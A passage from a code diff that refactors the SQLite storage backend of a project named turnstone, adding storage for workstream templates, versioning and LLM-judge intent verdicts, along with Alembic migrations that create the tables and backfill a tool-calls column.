+)
+from turnstone.core.storage._utils import (
+    TEMPLATE_MUTABLE as _TEMPLATE_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    VERDICT_MUTABLE as _VERDICT_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    WS_TEMPLATE_MUTABLE as _WS_TEMPLATE_MUTABLE,
+)
+from turnstone.core.storage._utils import (
+    reconstruct_messages as _reconstruct_messages,
+)
+from turnstone.core.storage._utils import (
+    row_to_dict as _row_to_dict,
+)
 
 log = logging.getLogger(__name__)
 
@@ -45,23 +71,6 @@ def _fts5_query(query: str) -> str:
     return " ".join(safe)
 
 
-def _row_to_dict(row: Any, *bool_fields: str) -> dict[str, Any]:
-    """Convert a SQLAlchemy row to a dict, casting named fields to bool."""
-    d = dict(row._mapping)
-    for key in bool_fields:
-        if key in d:
-            d[key] = bool(d[key])
-    return d
-
-
-# -- Field allowlists for governance update methods ---------------------------
-
-_ROLE_MUTABLE = frozenset({"display_name", "permissions"})
-_ORG_MUTABLE = frozenset({"display_name", "settings"})
-_POLICY_MUTABLE = frozenset({"name", "tool_pattern", "action", "priority", "enabled"})
-_TEMPLATE_MUTABLE = frozenset({"name", "content", "category", "variables", "is_default"})
-
-
 class SQLiteBackend:
     """SQLite implementation of the StorageBackend protocol."""
 
@@ -116,6 +125,7 @@ class SQLiteBackend:
         tool_args: str | None = None,
         tool_call_id: str | None = None,
         provider_data: str | None = None,
+        tool_calls: str | None = None,
     ) -> None:
         now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
         with self._engine.connect() as conn:
@@ -130,6 +140,7 @@ class SQLiteBackend:
                     "tool_args": tool_args,
                     "tool_call_id": tool_call_id,
                     "provider_data": provider_data,
+                    "tool_calls": tool_calls,
                 },
             )
             # FTS5 indexing
@@ -160,6 +171,7 @@ class SQLiteBackend:
                     conversations.c.tool_args,
                     conversations.c.tool_call_id,
                     conversations.c.provider_data,
+                    conversations.c.tool_calls,
                 )
                 .where(conversations.c.ws_id == ws_id)
                 .order_by(conversations.c.id)
@@ -402,6 +414,8 @@ class SQLiteBackend:
         user_id: str | None = None,
         alias: str | None = None,
         title: str | None = None,
+        ws_template_id: str = "",
+        ws_template_version: int = 0,
     ) -> None:
         now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
         with self._engine.connect() as conn:
@@ -415,6 +429,8 @@ class SQLiteBackend:
                     "title": title,
                     "name": name,
                     "state": state,
+                    "ws_template_id": ws_template_id,
+                    "ws_template_version": ws_template_version,
                     "created": now,
                     "updated": now,
                 },
@@ -431,6 +447,22 @@ class SQLiteBackend:
             )
             conn.commit()
 
+    def update_workstream_template(
+        self, ws_id: str, ws_template_id: str, ws_template_version: int
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.update(workstreams)
+                .where(workstreams.c.ws_id == ws_id)
+                .values(
+                    ws_template_id=ws_template_id,
+                    ws_template_version=ws_template_version,
+                    updated=now,
+                )
+            )
+            conn.commit()
+
     def update_workstream_name(self, ws_id: str, name: str) -> None:
         now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
         with self._engine.connect() as conn:
@@ -917,6 +949,7 @@ class SQLiteBackend:
         created_by: str,
         next_run: str,
         template: str = "",
+        ws_template: str = "",
     ) -> None:
         from turnstone.core.storage._schema import scheduled_tasks
 
@@ -937,6 +970,7 @@ class SQLiteBackend:
                     "auto_approve": 1 if auto_approve else 0,
                     "auto_approve_tools": ",".join(auto_approve_tools),
                     "template": template,
+                    "ws_template": ws_template,
                     "enabled": 1,
                     "created_by": created_by,
                     "next_run": next_run,
@@ -979,6 +1013,7 @@ class SQLiteBackend:
             "auto_approve",
             "auto_approve_tools",
             "template",
+            "ws_template",
             "enabled",
             "last_run",
             "next_run",
@@ -1647,6 +1682,185 @@ class SQLiteBackend:
             conn.commit()
             return result.rowcount > 0
 
+    # -- Workstream templates --------------------------------------------------
+
+    def create_ws_template(
+        self,
+        ws_template_id: str,
+        name: str,
+        description: str = "",
+        system_prompt: str = "",
+        prompt_template: str = "",
+        prompt_template_hash: str = "",
+        model: str = "",
+        auto_approve: bool = False,
+        auto_approve_tools: str = "",
+        temperature: float | None = None,
+        reasoning_effort: str = "",
+        max_tokens: int | None = None,
+        token_budget: int = 0,
+        agent_max_turns: int | None = None,
+        notify_on_complete: str = "{}",
+        org_id: str = "",
+        created_by: str = "",
+        enabled: bool = True,
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.insert(workstream_templates),
+                {
+                    "ws_template_id": ws_template_id,
+                    "name": name,
+                    "description": description,
+                    "system_prompt": system_prompt,
+                    "prompt_template": prompt_template,
+                    "prompt_template_hash": prompt_template_hash,
+                    "model": model,
+                    "auto_approve": 1 if auto_approve else 0,
+                    "auto_approve_tools": auto_approve_tools,
+                    "temperature": temperature,
+                    "reasoning_effort": reasoning_effort,
+                    "max_tokens": max_tokens,
+                    "token_budget": token_budget,
+                    "agent_max_turns": agent_max_turns,
+                    "notify_on_complete": notify_on_complete,
+                    "org_id": org_id,
+                    "created_by": created_by,
+                    "enabled": 1 if enabled else 0,
+                    "version": 1,
+                    "created": now,
+                    "updated": now,
+                },
+            )
+            conn.commit()
+
+    def get_ws_template(self, ws_template_id: str) -> dict[str, Any] | None:
+        with self._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(workstream_templates).where(
+                    workstream_templates.c.ws_template_id == ws_template_id
+                )
+            ).fetchone()
+            if row:
+                return _row_to_dict(row, "auto_approve", "enabled")
+            return None
+
+    def get_ws_template_by_name(self, name: str) -> dict[str, Any] | None:
+        with self._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(workstream_templates).where(workstream_templates.c.name == name)
+            ).fetchone()
+            if row:
+                return _row_to_dict(row, "auto_approve", "enabled")
+            return None
+
+    def list_ws_templates(
+        self, org_id: str = "", enabled_only: bool = False
+    ) -> list[dict[str, Any]]:
+        with self._engine.connect() as conn:
+            q = sa.select(workstream_templates).order_by(workstream_templates.c.name)
+            if org_id:
+                q = q.where(workstream_templates.c.org_id == org_id)
+            if enabled_only:
+                q = q.where(workstream_templates.c.enabled == 1)
+            rows = conn.execute(q).fetchall()
+            return [_row_to_dict(r, "auto_approve", "enabled") for r in rows]
+
+    def update_ws_template(self, ws_template_id: str, changed_by: str = "", **fields: Any) -> bool:
+        with self._engine.connect() as conn:
+            # Snapshot current state before updating
+            current = conn.execute(
+                sa.select(workstream_templates).where(
+                    workstream_templates.c.ws_template_id == ws_template_id
+                )
+            ).fetchone()
+            if not current:
+                return False
+            cur = _row_to_dict(current, "auto_approve", "enabled")
+
+            # Filter to allowed fields — skip snapshot if no effective changes
+            dropped = set(fields) - _WS_TEMPLATE_MUTABLE
+            if dropped:
+                log.warning("update_ws_template: ignoring unknown fields: %s", dropped)
+            fields = {k: v for k, v in fields.items() if k in _WS_TEMPLATE_MUTABLE}
+            if not fields:
+                return True  # Nothing to update
+
+            # Create version snapshot
+            now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+            conn.execute(
+                sa.insert(workstream_template_versions),
+                {
+                    "ws_template_id": ws_template_id,
+                    "version": cur["version"],
+                    "snapshot": json.dumps(cur, default=str),
+                    "changed_by": changed_by,
+                    "created": now,
+                },
+            )
+
+            fields["updated"] = now
+            fields["version"] = cur["version"] + 1
+            if "auto_approve" in fields:
+                fields["auto_approve"] = int(fields["auto_approve"])
+            if "enabled" in fields:
+                fields["enabled"] = int(fields["enabled"])
+
+            result = conn.execute(
+                sa.update(workstream_templates)
+                .where(workstream_templates.c.ws_template_id == ws_template_id)
+                .values(**fields)
+            )
+            conn.commit()
+            return result.rowcount > 0
+
+    def delete_ws_template(self, ws_template_id: str) -> bool:
+        with self._engine.connect() as conn:
+            # Cascade-delete versions first
+            conn.execute(
+                sa.delete(workstream_template_versions).where(
+                    workstream_template_versions.c.ws_template_id == ws_template_id
+                )
+            )
+            result = conn.execute(
+                sa.delete(workstream_templates).where(
+                    workstream_templates.c.ws_template_id == ws_template_id
+                )
+            )
+            conn.commit()
+            return result.rowcount > 0
+
+    def create_ws_template_version(
+        self,
+        ws_template_id: str,
+        version: int,
+        snapshot: str,
+        changed_by: str = "",
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.insert(workstream_template_versions),
+                {
+                    "ws_template_id": ws_template_id,
+                    "version": version,
+                    "snapshot": snapshot,
+                    "changed_by": changed_by,
+                    "created": now,
+                },
+            )
+            conn.commit()
+
+    def list_ws_template_versions(self, ws_template_id: str) -> list[dict[str, Any]]:
+        with self._engine.connect() as conn:
+            rows = conn.execute(
+                sa.select(workstream_template_versions)
+                .where(workstream_template_versions.c.ws_template_id == ws_template_id)
+                .order_by(workstream_template_versions.c.version.desc())
+            ).fetchall()
+            return [_row_to_dict(r) for r in rows]
+
     # -- Usage events ----------------------------------------------------------
 
     def record_usage_event(
@@ -1853,103 +2067,117 @@ class SQLiteBackend:
             conn.commit()
             return result.rowcount
 
+    # -- Intent verdicts -------------------------------------------------------
+
+    def create_intent_verdict(
+        self,
+        verdict_id: str,
+        ws_id: str,
+        call_id: str,
+        func_name: str,
+        func_args: str,
+        intent_summary: str,
+        risk_level: str,
+        confidence: float,
+        recommendation: str,
+        reasoning: str,
+        evidence: str,
+        tier: str,
+        judge_model: str,
+        latency_ms: int,
+    ) -> None:
+        now = datetime.now(UTC).strftime("%Y-%m-%dT%H:%M:%S")
+        with self._engine.connect() as conn:
+            conn.execute(
+                sa.insert(intent_verdicts),
+                {
+                    "verdict_id": verdict_id,
+                    "ws_id": ws_id,
+                    "call_id": call_id,
+                    "func_name": func_name,
+                    "func_args": func_args,
+                    "intent_summary": intent_summary,
+                    "risk_level": risk_level,
+                    "confidence": confidence,
+                    "recommendation": recommendation,
+                    "reasoning": reasoning,
+                    "evidence": evidence,
+                    "tier": tier,
+                    "judge_model": judge_model,
+                    "latency_ms": latency_ms,
+                    "created": now,
+                },
+            )
+            conn.commit()
+
+    def get_intent_verdict(self, verdict_id: str) -> dict[str, Any] | None:
+        with self._engine.connect() as conn:
+            row = conn.execute(
+                sa.select(intent_verdicts).where(intent_verdicts.c.verdict_id == verdict_id)
+            ).fetchone()
+            if row is None:
+                return None
+            return dict(row._mapping)
+
+    def list_intent_verdicts(
+        self,
+        ws_id: str = "",
+        since: str = "",
+        until: str = "",
+        risk_level: str = "",
+        limit: int = 100,
+        offset: int = 0,
+    ) -> list[dict[str, Any]]:
+        with self._engine.connect() as conn:
+            q = sa.select(intent_verdicts).order_by(
+                intent_verdicts.c.created.desc(), intent_verdicts.c.verdict_id.desc()
+            )
+            if ws_id:
+                q = q.where(intent_verdicts.c.ws_id == ws_id)
+            if since:
+                q = q.where(intent_verdicts.c.created >= since)
+            if until:
+                q = q.where(intent_verdicts.c.created <= until)
+            if risk_level:
+                q = q.where(intent_verdicts.c.risk_level == risk_level)
+            q = q.limit(limit).offset(offset)
+            rows = conn.execute(q).fetchall()
+            return [dict(r._mapping) for r in rows]
+
+    def update_intent_verdict(self, verdict_id: str, **fields: Any) -> bool:
+        fields = {k: v for k, v in fields.items() if k in _VERDICT_MUTABLE}
+        if not fields:
+            return False
+        with self._engine.connect() as conn:
+            result = conn.execute(
+                sa.update(intent_verdicts)
+                .where(intent_verdicts.c.verdict_id == verdict_id)
+                .values(**fields)
+            )
+            conn.commit()
+            return result.rowcount > 0
+
+    def count_intent_verdicts(
+        self,
+        ws_id: str = "",
+        since: str = "",
+        until: str = "",
+        risk_level: str = "",
+    ) -> int:
+        with self._engine.connect() as conn:
+            q = sa.select(sa.func.count()).select_from(intent_verdicts)
+            if ws_id:
+                q = q.where(intent_verdicts.c.ws_id == ws_id)
+            if since:
+                q = q.where(intent_verdicts.c.created >= since)
+            if until:
+                q = q.where(intent_verdicts.c.created <= until)
+            if risk_level:
+                q = q.where(intent_verdicts.c.risk_level == risk_level)
+            row = conn.execute(q).fetchone()
+            return row[0] if row else 0
+
     # -- Lifecycle -------------------------------------------------------------
 
     def close(self) -> None:
         self._engine.dispose()
-
-
-def _reconstruct_messages(rows: list[Any], ws_id: str) -> list[dict[str, Any]]:
-    """Reconstruct OpenAI message format from stored conversation rows.
-
-    Handles tool_call / tool_result grouping and incomplete turn repair.
-    """
-    messages: list[dict[str, Any]] = []
-    i = 0
-    while i < len(rows):
-        role, content, tool_name, tool_args, tc_id, provider_data = rows[i]
-
-        if role == "user":
-            messages.append({"role": "user", "content": content or ""})
-            i += 1
-
-        elif role == "assistant":
-            msg: dict[str, Any] = {"role": "assistant", "content": content}
-            if provider_data:
-                with contextlib.suppress(json.JSONDecodeError, TypeError):
-                    msg["_provider_content"] = json.loads(provider_data)
-            messages.append(msg)
-            i += 1
-
-        elif role == "tool_call":
-            assistant_msg: dict[str, Any] = {
-                "role": "assistant",
-                "content": None,
-                "tool_calls": [],
-            }
-            if (
-                messages
-                and messages[-1]["role"] == "assistant"
-                and not messages[-1].get("tool_calls")
-            ):
-                assistant_msg = messages.pop()
-                assistant_msg["tool_calls"] = []
-
-            while i < len(rows) and rows[i][0] == "tool_call":
-                _, _, tn, ta, stored_tc_id, _ = rows[i]
-                call_id = stored_tc_id or f"call_{ws_id}_{i}"
-                assistant_msg["tool_calls"].append(
-                    {
-                        "id": call_id,
-                        "type": "function",
-                        "function": {"name": tn or "", "arguments": ta or ""},
-                    }
-                )
-                i += 1
-            messages.append(assistant_msg)
-
-            # Consume matching tool_result rows
-            result_idx = 0
-            while i < len(rows) and rows[i][0] == "tool_result":
-                _, result_content, _, _, result_tc_id, _ = rows[i]
-                if result_tc_id:
-                    tc_id_to_use = result_tc_id
-                elif result_idx < len(assistant_msg["tool_calls"]):
-                    tc_id_to_use = assistant_msg["tool_calls"][result_idx]["id"]
-                else:
-                    tc_id_to_use = f"call_orphan_{i}"
-                messages.append(
-                    {
-                        "role": "tool",
-                        "tool_call_id": tc_id_to_use,
-                        "content": result_content or "",
-                    }
-                )
-                result_idx += 1
-                i += 1
-
-        elif role == "tool_result":
-            # Orphaned tool_result (no preceding tool_call) — skip
-            i += 1
-        else:
-            i += 1
-
-    # Repair: strip trailing incomplete tool call turns
-    while messages:
-        tail_tools = 0
-        for j in range(len(messages) - 1, -1, -1):
-            if messages[j].get("role") == "tool":
-                tail_tools += 1
-            else:
-                break
-        asst_idx = len(messages) - 1 - tail_tools
-        if asst_idx < 0:
-            break
-        asst = messages[asst_idx]
-        if asst.get("role") != "assistant" or not asst.get("tool_calls"):
-            break
-        if tail_tools >= len(asst["tool_calls"]):
-            break
-        del messages[asst_idx:]
-
-    return messages

turnstone/core/storage/_utils.py

@@ -0,0 +1,126 @@
+"""Shared utilities for storage backends."""
+
+from __future__ import annotations
+
+import contextlib
+import json
+from typing import Any
+
+# ---------------------------------------------------------------------------
+# Row helper
+# ---------------------------------------------------------------------------
+
+
+def row_to_dict(row: Any, *bool_fields: str) -> dict[str, Any]:
+    """Convert a SQLAlchemy row to a dict, casting named fields to bool."""
+    d = dict(row._mapping)
+    for key in bool_fields:
+        if key in d:
+            d[key] = bool(d[key])
+    return d
+
+
+# ---------------------------------------------------------------------------
+# Field allowlists for governance update methods
+# ---------------------------------------------------------------------------
+
+ROLE_MUTABLE = frozenset({"display_name", "permissions"})
+ORG_MUTABLE = frozenset({"display_name", "settings"})
+POLICY_MUTABLE = frozenset({"name", "tool_pattern", "action", "priority", "enabled"})
+TEMPLATE_MUTABLE = frozenset({"name", "content", "category", "variables", "is_default"})
+WS_TEMPLATE_MUTABLE = frozenset(
+    {
+        "name",
+        "description",
+        "system_prompt",
+        "prompt_template",
+        "prompt_template_hash",
+        "model",
+        "auto_approve",
+        "auto_approve_tools",
+        "temperature",
+        "reasoning_effort",
+        "max_tokens",
+        "token_budget",
+        "agent_max_turns",
+        "notify_on_complete",
+        "enabled",
+    }
+)
+VERDICT_MUTABLE = frozenset(
+    {
+        "user_decision",
+        "intent_summary",
+        "risk_level",
+        "confidence",
+        "recommendation",
+        "reasoning",
+        "evidence",
+        "tier",
+        "judge_model",
+        "latency_ms",
+    }
+)
+
+
+# ---------------------------------------------------------------------------
+# Message reconstruction
+# ---------------------------------------------------------------------------
+
+
+def reconstruct_messages(rows: list[Any], ws_id: str) -> list[dict[str, Any]]:
+    """Reconstruct OpenAI message format from stored conversation rows.
+
+    Each *row* is a 7-element tuple of ``(role, content, tool_name,
+    tool_args, tool_call_id, provider_data, tool_calls_json)`` ordered
+    chronologically by row ID.
+
+    Post-migration 013 the only roles are ``user``, ``assistant``, and
+    ``tool``.  Assistant messages carry their ``tool_calls`` as a JSON
+    column, so no heuristic merging is needed.
+    """
+    messages: list[dict[str, Any]] = []
+    for row in rows:
+        role, content, _tool_name, _tool_args, tc_id, provider_data, tool_calls_json = row
+
+        if role == "user":
+            messages.append({"role": "user", "content": content or ""})
+
+        elif role == "assistant":
+            msg: dict[str, Any] = {"role": "assistant", "content": content}
+            if provider_data:
+                with contextlib.suppress(json.JSONDecodeError, TypeError):
+                    msg["_provider_content"] = json.loads(provider_data)
+            if tool_calls_json:
+                with contextlib.suppress(json.JSONDecodeError, TypeError):
+                    msg["tool_calls"] = json.loads(tool_calls_json)
+            messages.append(msg)
+
+        elif role == "tool":
+            messages.append(
+                {
+                    "role": "tool",
+                    "tool_call_id": tc_id or "",
+                    "content": content or "",
+                }
+            )
+
+    # Repair: strip trailing incomplete tool call turns
+    while messages:
+        tail_tools = 0
+        for j in range(len(messages) - 1, -1, -1):
+            if messages[j].get("role") == "tool":
+                tail_tools += 1
+            else:
+                break
+        asst_idx = len(messages) - 1 - tail_tools
+        if asst_idx < 0:
+            break
+        asst = messages[asst_idx]
+        if asst.get("role") != "assistant" or not asst.get("tool_calls"):
+            break
+        if tail_tools >= len(asst["tool_calls"]):
+            break
+        del messages[asst_idx:]
+
+    return messages

turnstone/core/storage/migrations/versions/011_workstream_templates.py

@@ -0,0 +1,91 @@
+"""Create workstream_templates and workstream_template_versions tables.
+
+Revision ID: 011
+Revises: 010
+Create Date: 2026-03-12
+"""
+
+import sqlalchemy as sa
+from alembic import op
+
+revision = "011"
+down_revision = "010"
+branch_labels = None
+depends_on = None
+
+
+def upgrade() -> None:
+    op.create_table(
+        "workstream_templates",
+        sa.Column("ws_template_id", sa.Text, primary_key=True),
+        sa.Column("name", sa.Text, nullable=False, unique=True),
+        sa.Column("description", sa.Text, nullable=False, server_default=""),
+        sa.Column("system_prompt", sa.Text, nullable=False, server_default=""),
+        sa.Column("prompt_template", sa.Text, nullable=False, server_default=""),
+        sa.Column("prompt_template_hash", sa.Text, nullable=False, server_default=""),
+        sa.Column("model", sa.Text, nullable=False, server_default=""),
+        sa.Column("auto_approve", sa.Integer, nullable=False, server_default="0"),
+        sa.Column("auto_approve_tools", sa.Text, nullable=False, server_default=""),
+        sa.Column("temperature", sa.Float),
+        sa.Column("reasoning_effort", sa.Text, nullable=False, server_default=""),
+        sa.Column("max_tokens", sa.Integer),
+        sa.Column("token_budget", sa.Integer, nullable=False, server_default="0"),
+        sa.Column("agent_max_turns", sa.Integer),
+        sa.Column("notify_on_complete", sa.Text, nullable=False, server_default="{}"),
+        sa.Column("org_id", sa.Text, nullable=False, server_default=""),
+        sa.Column("created_by", sa.Text, nullable=False, server_default=""),
+        sa.Column("enabled", sa.Integer, nullable=False, server_default="1"),
+        sa.Column("version", sa.Integer, nullable=False, server_default="1"),
+        sa.Column("created", sa.Text, nullable=False),
+        sa.Column("updated", sa.Text, nullable=False),
+    )
+    op.create_index("idx_ws_templates_enabled", "workstream_templates", ["enabled"])
+    op.create_index("idx_ws_templates_org", "workstream_templates", ["org_id"])
+
+    op.create_table(
+        "workstream_template_versions",
+        sa.Column("id", sa.Integer, primary_key=True, autoincrement=True),
+        sa.Column("ws_template_id", sa.Text, nullable=False),
+        sa.Column("version", sa.Integer, nullable=False),
+        sa.Column("snapshot", sa.Text, nullable=False),
+        sa.Column("changed_by", sa.Text, nullable=False, server_default=""),
+        sa.Column("created", sa.Text, nullable=False),
+    )
+    op.create_index("idx_ws_tpl_versions_tpl", "workstream_template_versions", ["ws_template_id"])
+    op.create_index(
+        "uq_ws_tpl_versions_tpl_ver",
+        "workstream_template_versions",
+        ["ws_template_id", "version"],
+        unique=True,
+    )
+
+    # Add ws_template tracking to workstreams table
+    with op.batch_alter_table("workstreams") as batch_op:
+        batch_op.add_column(sa.Column("ws_template_id", sa.Text, nullable=False, server_default=""))
+        batch_op.add_column(
+            sa.Column("ws_template_version", sa.Integer, nullable=False, server_default="0")
+        )
+
+    # Add ws_template to scheduled_tasks
+    with op.batch_alter_table("scheduled_tasks") as batch_op:
+        batch_op.add_column(sa.Column("ws_template", sa.Text, nullable=False, server_default=""))
+
+    # Grant admin.ws_templates permission to the built-in admin role
+    conn = op.get_bind()
+    conn.execute(
+        sa.text(
+            "UPDATE roles SET permissions = permissions || ',admin.ws_templates' "
+            "WHERE role_id = 'builtin-admin' "
+            "AND permissions NOT LIKE '%admin.ws_templates%'"
+        )
+    )
+
+
+def downgrade() -> None:
+    with op.batch_alter_table("scheduled_tasks") as batch_op:
+        batch_op.drop_column("ws_template")
+    with op.batch_alter_table("workstreams") as batch_op:
+        batch_op.drop_column("ws_template_version")
+        batch_op.drop_column("ws_template_id")
+    op.drop_table("workstream_template_versions")
+    op.drop_table("workstream_templates")

turnstone/core/storage/migrations/versions/012_intent_verdicts.py

@@ -0,0 +1,61 @@
+"""Create intent_verdicts table for LLM judge verdicts.
+
+Revision ID: 012
+Revises: 011
+Create Date: 2026-03-13
+"""
+
+import sqlalchemy as sa
+from alembic import op
+
+revision = "012"
+down_revision = "011"
+branch_labels = None
+depends_on = None
+
+
+def upgrade() -> None:
+    op.create_table(
+        "intent_verdicts",
+        sa.Column("verdict_id", sa.Text, primary_key=True),
+        sa.Column("ws_id", sa.Text, nullable=False),
+        sa.Column("call_id", sa.Text, nullable=False),
+        sa.Column("func_name", sa.Text, nullable=False),
+        sa.Column("func_args", sa.Text, nullable=False, server_default=""),
+        sa.Column("intent_summary", sa.Text, nullable=False),
+        sa.Column("risk_level", sa.Text, nullable=False),
+        sa.Column("confidence", sa.Float, nullable=False),
+        sa.Column("recommendation", sa.Text, nullable=False),
+        sa.Column("reasoning", sa.Text, nullable=False),
+        sa.Column("evidence", sa.Text, nullable=False, server_default="[]"),
+        sa.Column("tier", sa.Text, nullable=False),
+        sa.Column("judge_model", sa.Text, nullable=False, server_default=""),
+        sa.Column("user_decision", sa.Text, nullable=False, server_default=""),
+        sa.Column("latency_ms", sa.Integer, nullable=False, server_default="0"),
+        sa.Column("created", sa.Text, nullable=False),
+    )
+    op.create_index("idx_intent_verdicts_ws", "intent_verdicts", ["ws_id"])
+    op.create_index("idx_intent_verdicts_created", "intent_verdicts", ["created"])
+    op.create_index("idx_intent_verdicts_risk", "intent_verdicts", ["risk_level"])
+
+    # Grant admin.judge permission to the built-in admin role
+    conn = op.get_bind()
+    conn.execute(
+        sa.text(
+            "UPDATE roles SET permissions = permissions || ',admin.judge' "
+            "WHERE role_id = 'builtin-admin' "
+            "AND permissions NOT LIKE '%admin.judge%'"
+        )
+    )
+
+
+def downgrade() -> None:
+    # Remove admin.judge permission from builtin-admin role
+    conn = op.get_bind()
+    conn.execute(
+        sa.text(
+            "UPDATE roles SET permissions = REPLACE(permissions, ',admin.judge', '') "
+            "WHERE role_id = 'builtin-admin'"
+        )
+    )
+    op.drop_table("intent_verdicts")

turnstone/core/storage/migrations/versions/013_conversation_tool_calls.py

@@ -0,0 +1,229 @@
+"""Add tool_calls JSON column and backfill legacy rows.
+
+Stores the complete tool_calls array on assistant messages so each LLM
+response is a single atomic row.  The backfill converts existing
+role="tool_call" rows into a JSON array on the preceding assistant row,
+and renames role="tool_result" to role="tool".  After migration the
+only roles in the table are: user, assistant, tool.
+
+Revision ID: 013
+Revises: 012
+Create Date: 2026-03-13
+"""
+
+import json
+
+import sqlalchemy as sa
+from alembic import op
+
+revision = "013"
+down_revision = "012"
+branch_labels = None
+depends_on = None
+
+
+def upgrade() -> None:
+    # 1. Add column
+    with op.batch_alter_table("conversations") as batch_op:
+        batch_op.add_column(sa.Column("tool_calls", sa.Text))
+
+    # 2. Backfill: convert tool_call/tool_result rows into the new format
+    conn = op.get_bind()
+
+    # Fetch all workstreams that have legacy tool_call rows
+    ws_ids = conn.execute(
+        sa.text("SELECT DISTINCT ws_id FROM conversations WHERE role = 'tool_call'")
+    ).fetchall()
+
+    for (ws_id,) in ws_ids:
+        rows = conn.execute(
+            sa.text(
+                "SELECT id, role, content, tool_name, tool_args, "
+                "tool_call_id, provider_data "
+                "FROM conversations WHERE ws_id = :ws_id ORDER BY id"
+            ),
+            {"ws_id": ws_id},
+        ).fetchall()
+
+        # Walk the rows and collect tool_call groups
+        i = 0
+        last_assistant_id: int | None = None
+        ids_to_delete: list[int] = []
+
+        while i < len(rows):
+            row_id, role, content, tool_name, tool_args, tc_id, pdata = rows[i]
+
+            if role == "assistant":
+                last_assistant_id = row_id
+                i += 1
+
+            elif role == "tool_call":
+                # Collect consecutive tool_call rows
+                tool_calls_arr: list[dict[str, object]] = []
+                while i < len(rows) and rows[i][1] == "tool_call":
+                    r = rows[i]
+                    r_id, _, _, tn, ta, stored_tc_id, _ = r
+                    call_id = stored_tc_id or f"call_{ws_id}_{r_id}"
+                    tool_calls_arr.append(
+                        {
+                            "id": call_id,
+                            "type": "function",
+                            "function": {
+                                "name": tn or "",
+                                "arguments": ta or "",
+                            },
+                        }
+                    )
+                    ids_to_delete.append(r_id)
+                    i += 1
+
+                tc_json = json.dumps(tool_calls_arr)
+
+                if last_assistant_id is not None:
+                    # Merge onto the preceding assistant row
+                    conn.execute(
+                        sa.text("UPDATE conversations SET tool_calls = :tc WHERE id = :aid"),
+                        {"tc": tc_json, "aid": last_assistant_id},
+                    )
+                    last_assistant_id = None
+                else:
+                    # No preceding assistant — turn the first tool_call
+                    # into an assistant row with tool_calls.
+                    first_id = ids_to_delete[-len(tool_calls_arr)]
+                    conn.execute(
+                        sa.text(
+                            "UPDATE conversations SET role = 'assistant', "
+                            "content = NULL, tool_name = NULL, tool_args = NULL, "
+                            "tool_call_id = NULL, tool_calls = :tc "
+                            "WHERE id = :rid"
+                        ),
+                        {"tc": tc_json, "rid": first_id},
+                    )
+                    # Remove from delete list — we promoted it
+                    ids_to_delete.remove(first_id)
+                    last_assistant_id = None
+
+            else:
+                if role != "assistant":
+                    last_assistant_id = None
+                i += 1
+
+        # Delete consumed tool_call rows (chunked to avoid SQL size limits)
+        chunk_size = 500
+        for start in range(0, len(ids_to_delete), chunk_size):
+            chunk = ids_to_delete[start : start + chunk_size]
+            placeholders = ",".join(f":id{j}" for j in range(len(chunk)))
+            params = {f"id{j}": cid for j, cid in enumerate(chunk)}
+            conn.execute(
+                sa.text(f"DELETE FROM conversations WHERE id IN ({placeholders})"),
+                params,
+            )
+
+    # 3. Rename tool_result → tool
+    conn.execute(sa.text("UPDATE conversations SET role = 'tool' WHERE role = 'tool_result'"))
+
+
+def downgrade() -> None:
+    conn = op.get_bind()
+
+    # Restore tool_result role
+    conn.execute(
+        sa.text(
+            "UPDATE conversations SET role = 'tool_result' "
+            "WHERE role = 'tool' AND tool_call_id IS NOT NULL"
+        )
+    )
+
+    # Explode assistant rows that have tool_calls back into separate
+    # tool_call rows.  We must preserve chronological ordering by id,
+    # so we rebuild via a temp table rather than appending INSERTs
+    # (which would get new auto-increment IDs at the end).
+    import json as _json
+
+    rows_with_tc = conn.execute(
+        sa.text(
+            "SELECT id, ws_id, timestamp, tool_calls FROM conversations "
+            "WHERE role = 'assistant' AND tool_calls IS NOT NULL"
+        )
+    ).fetchall()
+
+    if rows_with_tc:
+        # Build the expanded rows to insert after each assistant row.
+        # Key: assistant row id → list of tool_call dicts to insert.
+        expansions: dict[int, list[dict[str, str]]] = {}
+        for row_id, ws_id, ts, tc_json in rows_with_tc:
+            calls = _json.loads(tc_json)
+            expanded: list[dict[str, str]] = []
+            for call in calls:
+                fn = call.get("function", {})
+                expanded.append(
+                    {
+                        "ws_id": ws_id,
+                        "timestamp": ts,
+                        "role": "tool_call",
+                        "tool_name": fn.get("name", ""),
+                        "tool_args": fn.get("arguments", ""),
+                        "tool_call_id": call.get("id", ""),
+                    }
+                )
+            if expanded:
+                expansions[row_id] = expanded
+
+        # Create temp table, copy all rows with tool_call rows interleaved
+        conn.execute(sa.text("CREATE TABLE _conv_rebuild AS SELECT * FROM conversations WHERE 0"))
+        all_rows = conn.execute(
+            sa.text(
+                "SELECT id, ws_id, timestamp, role, content, tool_name, "
+                "tool_args, tool_call_id, provider_data, tool_calls "
+                "FROM conversations ORDER BY id"
+            )
+        ).fetchall()
+
+        for row in all_rows:
+            rid = row[0]
+            conn.execute(
+                sa.text(
+                    "INSERT INTO _conv_rebuild "
+                    "(ws_id, timestamp, role, content, tool_name, tool_args, "
+                    "tool_call_id, provider_data, tool_calls) "
+                    "VALUES (:ws_id, :ts, :role, :content, :tn, :ta, :tcid, :pd, NULL)"
+                ),
+                {
+                    "ws_id": row[1],
+                    "ts": row[2],
+                    "role": row[3],
+                    "content": row[4],
+                    "tn": row[5],
+                    "ta": row[6],
+                    "tcid": row[7],
+                    "pd": row[8],
+                },
+            )
+            # Insert expanded tool_call rows right after the assistant row
+            if rid in expansions:
+                for tc in expansions[rid]:
+                    conn.execute(
+                        sa.text(
+                            "INSERT INTO _conv_rebuild "
+                            "(ws_id, timestamp, role, content, tool_name, tool_args, "
